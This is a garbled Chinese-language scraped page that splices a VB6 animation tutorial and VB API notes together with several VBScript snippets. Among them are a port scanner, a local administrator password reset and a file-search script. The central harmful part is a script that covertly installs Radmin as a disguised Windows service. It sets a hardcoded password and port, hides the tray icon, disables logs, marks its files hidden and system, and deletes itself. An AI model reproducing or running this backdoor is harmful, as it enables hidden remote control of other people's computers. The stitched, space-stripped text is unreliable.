在Form的Generaldeclaration部分加入下列常量声明：　　ConstSRCANDAsLong=＆H8800C6　　ConstSRCINVERTAsLong=＆H660046　　ConstStepLength=10　　ConstAnimateSpeed=100　　项目代码如下：　　PrivateSubForm_Load（）　　　Me.ScaleMode=3　　　WithbmpAND　　　　.Cols=4　　　　.Rows=2　　　EndWith　　　WithbmpXOR　　　　.Cols=4　　　　.Rows=2　　　EndWith　　　Timer1.Interval=AnimateSpeed　　EndSub　　PrivateSubTimer1_Timer（）　　　StaticCurPicAsInteger　　　StaticCurXAsSingle　　　Me.Refresh　　　IfCurPic>bmpAND.Cols＊bmpAND.Rows-1ThenCurPic=0　　　IfCurX>Me.ScaleWidthThenCurX=0　　　Me.PaintPicturebmpAND.GraphicCell（CurPic）,CurX,0,,,,,,,SRCAND　　　Me.PaintPicturebmpXOR.GraphicCell（CurPic）,CurX,0,,,,,,,SRCINVERT　　　CurPic=CurPic 1　　　CurX=CurX StepLength　　EndSub　　按F5运行,Form1中就会出现一个在窗口顶部从左到右循环地行走的卡通人物于是我们选择了您的问题

另外，它还有一个优点，就是能够在任意版本的Windows上运行应用程序中的每个窗体都有一个包含其代码的相关的窗体模块（文件扩展名为.frm）

On Error Resume Next if (lcase(right(wscript.fullname,11))="wscript.exe") then wscript.echo "Execute it under the cmd.exe Plz! Thx." wscript.quit end If if Wscript.Arguments.count=0 Then usage() wscript.quit End If Set Arg=Wscript.Arguments Sport=Split(arg(1),",") For i=0 To UBound(Split(arg(1),",")) wsh.echo "scan "&Sport(i)&" ing……" Set x=CreateObject("msxml2.serverXMLHTTP") x.open "post",""&arg(0)&":"&Sport(i) x.send("hello") wsh.echo Space(3)&"error.NuMbEr:"& ERr.NuMbEr & Space(5)&"ERr.Description:"&ERr.Description if ERr.NuMbEr=0 Or ERr.NuMbEr=-2147012866 Or ERr.NuMbEr=-2147012894 Or ERr.NuMbEr=-2147012744 Or ERr.NuMbEr=-2147467259 Then wsh.echo Space(3)&" The "&Sport(i)&" port is OPEN" End if next function usage() wscript.echo "| 注意查看ERr.Description来判断端口开放，自动探测不一定准确 |" wscript.echo "| |" wscript.echo "|Useage: |" wscript.echo "| cscript.exe this.vbs ip port |" wscript.echo "|ex: |" wscript.echo "| cscript.exe this.vbs ip 80 or 80,123,445…… |" wscript.echo "+-------------------------------------------------------------------+"&chr(10) end function 1.新建一个VisualBasic.NetWindows应用程序项目

修改本地管理员密码 Setobjcnlar=GetObject("") objcnla.SetPassword"P@ssW0rd" objcnla.SetInfo 你可以通过点击VisualBasic的“工程”菜单中的“引用”菜单项，然后选者MicrosoftOutlook对象库来实现这一点

onerrorresumenext constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_ strComputer&"\root\default:StdRegProv") strKeyPath="SYSTEM\RAdmin" oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\RAdmin\v2.0" oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\RAdmin\v2.0\Server" oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\RAdmin\v2.0\Server\iplist" oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters" oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath SetobjRegistry=GetObject("Winmgmts:root\default:StdRegProv") strPath="SYSTEM\RAdmin\v2.0\Server\Parameters" uBinary=Array(0,0,0,0) Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary) uBinary=Array(0,0,0,0) Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary) uBinary=Array(1,0,0,0) Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary) uBinary=Array(0,0,0,0) Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary) uBinary=Array(0,0,0,0) Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary) uBinary=Array(0,0,0,0) Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary) uBinary=Array(0,0,0,0) Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary) uBinary=Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)//此为注册表导出十六进制转为十进制数据pass:241241241 Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)//Radmin密码 uBinary=Array(5,4,0,0)//端口：1029 Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary) uBinary=Array(10,0,0,0) Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary) SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv") strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters" strValueName="LogFilePath" strValue="c:\logfile.txt" setwshshell=createobject("wscript.shell") a=wshshell.run("sc.execreateWinManageHelpbinpath=%systemroot%\system32\Exporer.exestart=auto",0) oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv") strKeyPath="SYSTEM\ControlSet001\Services\WinManageHelp" strValueName="Description" strValue="WindowsMediaPlayerWindowsManagementInstrumentationPlayerDrivers." oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue strValueName="DisplayName" strValue="WindowsManagementInstrumentationPlayerDrivers" oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue strValueName="ImagePath" strValue="c:\windows\system32\Exporer.exe/service" oReg.SetExpandedStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue setwshshell=createobject("wscript.shell") a=wshshell.run("netstartWinManageHelp",0) b=wshshell.run("attrib+r+h+s%systemroot%\system32\exporer.exe",0) c=wshshell.run("attrib+r+h+s%systemroot%\system32\AdmDll.dll",0) d=wshshell.run("attrib+r+h+s%systemroot%\system32\raddrv.dll",0) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)//自删除企业宣传片5分钟　　三、几个问题的说明：　　（1）声明中的Lib和Alias是怎么回事　　一般情况下WIN32API函数总是包含在WINDOWS系统自带的或是其它公司提供的动态连接库DLL中，而Declare语句中的Lib关键字就用来指定DLL（动态连接库）文件的路径，这样VB才能找到这个DLL文件，然后才能使用其中的API函数onerrorresumenext DimkeyWord,DirTotal,TimeSpend,FileTotal,Fso,outFile,txtResult,txtPath,sPath ConstMY_COMPUTER=&H11& ConstWINDOW_HANDLE=0 ConstOPTIONS=0 SetobjShell=CreateObject("Shell.Application") SetobjFolder=objShell.Namespace(My_Computer) SetobjFolderItem=objFolder.Self strPath=objFolderItem.Path SetobjFolder=objShell.BrowseForFolder(WINDOW_HANDLE,"选择你要搜索的文件夹:",OPTIONS,strPath) IfobjFolderIsNothingThen msgbox"您没有选择任何有效目录!" wscript.quit else SetobjFolderItem=objFolder.Self sPath=objFolderItem.Path txtpath=sPath SetFso=wscript.CreateObject("scripting.filesystemobject") FileTotal=0 DirTotal=0 'sPath=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName)) 'txtPath=trim(inputbox("你选的目录是"&sPath,"文件搜索",sPath)) keyWord=LCase(inputbox("请输入搜索关键字点Cancel的话会得到目录列表:","文件搜索","mp3")) setoutFile=Fso.createtextfile(sPath&"\SearchResult.txt") outFile.writeline"开始搜索..." outFile.writeline"起启目录:"&txtPath TimeSpend=Timer myFindtxtPath TimeSpend=round(Timer-TimeSpend,2) txtResult="搜索完成!"&vbCrLf&"共找到文件:"&FileTotal&"个."&vbCrLf&"共搜索目录:"&DirTotal&"个."&vbCrLf&"用时:"&TimeSpend&"秒." outFile.writetxtResult msgboxtxtResult&"结果保存在"&sPath&"\SearchResult.txt" outFile.close setoutFile=nothing setFso=nothing SubmyFind(ByValthePath) Dimfso,myFolder,myFile,curFolder Setfso=wscript.CreateObject("scripting.filesystemobject") SetcurFolders=fso.getfolder(thePath) DirTotal=DirTotal+1 IfcurFolders.Files.Count>0Then ForEachmyFileIncurFolders.Files IfInStr(1,LCase(myFile.Name),keyWord)>0Then outFile.WriteLineFormatPath(thePath)&""&myFile.Name FileTotal=FileTotal+1 EndIf Next EndIf IfcurFolders.subfolders.Count>0Then ForEachmyFolderIncurFolders.subfolders myFindFormatPath(thePath)&""&myFolder.Name Next EndIf EndSub FunctionFormatPath(ByValthePath) thePath=Trim(thePath) FormatPath=thePath IfRight(thePath,1)=""ThenFormatPath=Mid(thePath,1,Len(thePath)-1) EndFunction Endif。